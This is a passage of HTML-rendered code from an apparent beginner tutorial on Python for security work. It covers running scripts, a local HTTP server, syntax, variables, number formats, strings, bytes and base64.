&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; 2 + 2
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;

&lt;span class="c"&gt;# Run a script&lt;/span&gt;
python3 script.py

&lt;span class="c"&gt;# Run one-liner&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import socket; print(socket.gethostbyname('google.com'))"&lt;/span&gt;

&lt;span class="c"&gt;# Start a simple HTTP server (used constantly in security work)&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8080
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8080 &lt;span class="nt"&gt;--bind&lt;/span&gt; 0.0.0.0  &lt;span class="c"&gt;# Listen on all interfaces&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.3 Python Basics — Syntax Rules
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Comments start with #
# Python uses indentation (4 spaces) instead of brackets for code blocks
&lt;/span&gt;
&lt;span class="c1"&gt;# Correct:
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;indented correctly&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Wrong — IndentationError:
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;not indented&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# This will crash
&lt;/span&gt;
&lt;span class="c1"&gt;# No semicolons needed at end of lines
# No variable declaration keywords (no var, let, int)
# Python is dynamically typed — type is determined at runtime
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. Variables and Data Types
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Variables
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Variable assignment — no type declaration needed
&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Alice&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;
&lt;span class="n"&gt;height&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.75&lt;/span&gt;
&lt;span class="n"&gt;is_admin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;

&lt;span class="c1"&gt;# Multiple assignment
&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;   &lt;span class="c1"&gt;# Tuple unpacking
&lt;/span&gt;
&lt;span class="c1"&gt;# Variable naming conventions
&lt;/span&gt;&lt;span class="n"&gt;user_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bob&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;          &lt;span class="c1"&gt;# snake_case — Python standard
&lt;/span&gt;&lt;span class="n"&gt;MAX_RETRIES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;            &lt;span class="c1"&gt;# UPPERCASE for constants (convention, not enforced)
&lt;/span&gt;&lt;span class="n"&gt;_private&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;internal&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;      &lt;span class="c1"&gt;# Underscore prefix = "private" by convention
&lt;/span&gt;
&lt;span class="c1"&gt;# Check type
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;          &lt;span class="c1"&gt;# &amp;lt;class 'str'&amp;gt;
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;           &lt;span class="c1"&gt;# &amp;lt;class 'int'&amp;gt;
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;        &lt;span class="c1"&gt;# &amp;lt;class 'float'&amp;gt;
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_admin&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;      &lt;span class="c1"&gt;# &amp;lt;class 'bool'&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 Core Data Types
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Integers and Floats
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Integers — whole numbers, no size limit in Python 3
&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;
&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1337&lt;/span&gt;
&lt;span class="n"&gt;max_uint32&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xFFFFFFFF&lt;/span&gt;      &lt;span class="c1"&gt;# Hex notation
&lt;/span&gt;&lt;span class="n"&gt;binary_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mb"&gt;0b11001100&lt;/span&gt;    &lt;span class="c1"&gt;# Binary notation
&lt;/span&gt;&lt;span class="n"&gt;octal_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mo"&gt;0o755&lt;/span&gt;          &lt;span class="c1"&gt;# Octal notation (file permissions!)
&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;              &lt;span class="c1"&gt;# '0xff'
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;              &lt;span class="c1"&gt;# '0b11111111'
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;oct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;              &lt;span class="c1"&gt;# '0o377'
&lt;/span&gt;
&lt;span class="c1"&gt;# Integer arithmetic
&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;             &lt;span class="c1"&gt;# Integer division: 3 (floor division)
&lt;/span&gt;&lt;span class="n"&gt;remainder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;           &lt;span class="c1"&gt;# Modulo: 1 (remainder)
&lt;/span&gt;&lt;span class="n"&gt;power&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;              &lt;span class="c1"&gt;# Exponentiation: 1024
&lt;/span&gt;
&lt;span class="c1"&gt;# Floats — floating point numbers
&lt;/span&gt;&lt;span class="n"&gt;pi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;3.14159&lt;/span&gt;
&lt;span class="n"&gt;scientific&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.5e-10&lt;/span&gt;         &lt;span class="c1"&gt;# Scientific notation
&lt;/span&gt;
&lt;span class="c1"&gt;# Type conversion
&lt;/span&gt;&lt;span class="n"&gt;port_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8080&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;port_int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;     &lt;span class="c1"&gt;# String to int
&lt;/span&gt;&lt;span class="n"&gt;port_float&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# String to float
&lt;/span&gt;&lt;span class="n"&gt;port_back&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port_int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="c1"&gt;# Int to string
&lt;/span&gt;
&lt;span class="c1"&gt;# Security use: working with raw bytes and integers
&lt;/span&gt;&lt;span class="n"&gt;ip_int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\xc0\xa8\x01\x01&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;big&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# 192.168.1.1 as integer
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip_int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                &lt;span class="c1"&gt;# 3232235777
&lt;/span&gt;&lt;span class="n"&gt;ip_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ip_int&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;big&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;# b'\xc0\xa8\x01\x01'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Strings
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# String literals — single, double, or triple quotes
&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Alice&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello, World&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;multiline&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;This is
a multiline
string&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="c1"&gt;# Raw strings — backslashes not treated as escape sequences
&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;C:\Users\Alice\Documents&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;     &lt;span class="c1"&gt;# r prefix = raw string
&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# IP regex pattern
&lt;/span&gt;
&lt;span class="c1"&gt;# f-strings — formatted strings (Python 3.6+, use these always)
&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Connecting to &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port in hex: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;#x&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;       &lt;span class="c1"&gt;# Port in hex: 0x50
&lt;/span&gt;
&lt;span class="c1"&gt;# String operations
&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello, Security!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                          &lt;span class="c1"&gt;# 16 — length
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                       &lt;span class="c1"&gt;# HELLO, SECURITY!
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                       &lt;span class="c1"&gt;# hello, security!
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                       &lt;span class="c1"&gt;# Remove whitespace from both ends
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Goodbye&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                   &lt;span class="c1"&gt;# ['Hello', 'Security!']
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;           &lt;span class="c1"&gt;# True
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;endswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                 &lt;span class="c1"&gt;# True
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Security&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;# True — membership test
&lt;/span&gt;
&lt;span class="c1"&gt;# Indexing and slicing
&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ABCDEFGH&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                            &lt;span class="c1"&gt;# A — first character
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                           &lt;span class="c1"&gt;# H — last character
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                          &lt;span class="c1"&gt;# CDE — slice [start:end]
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                           &lt;span class="c1"&gt;# ABC — from beginning
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;                           &lt;span class="c1"&gt;# FGH — to end
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                         &lt;span class="c1"&gt;# HGFEDCBA — reverse
&lt;/span&gt;
&lt;span class="c1"&gt;# Bytes — critical for network and binary work
&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET / HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;          &lt;span class="c1"&gt;# b prefix = bytes literal
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                      &lt;span class="c1"&gt;# &amp;lt;class 'bytes'&amp;gt;
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;                         &lt;span class="c1"&gt;# 71 — integer value of 'G'
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                      &lt;span class="c1"&gt;# 474554202f20485454502f312e310d0a
&lt;/span&gt;
&lt;span class="c1"&gt;# Convert between strings and bytes
&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                  &lt;span class="c1"&gt;# str → bytes
&lt;/span&gt;&lt;span class="n"&gt;s2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;# bytes → str
&lt;/span&gt;
&lt;span class="c1"&gt;# Base64 encoding/decoding — used constantly in security
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;
&lt;span class="n"&gt;encoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;secret payload&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# b'c2VjcmV0IHBheWxvYWQ='
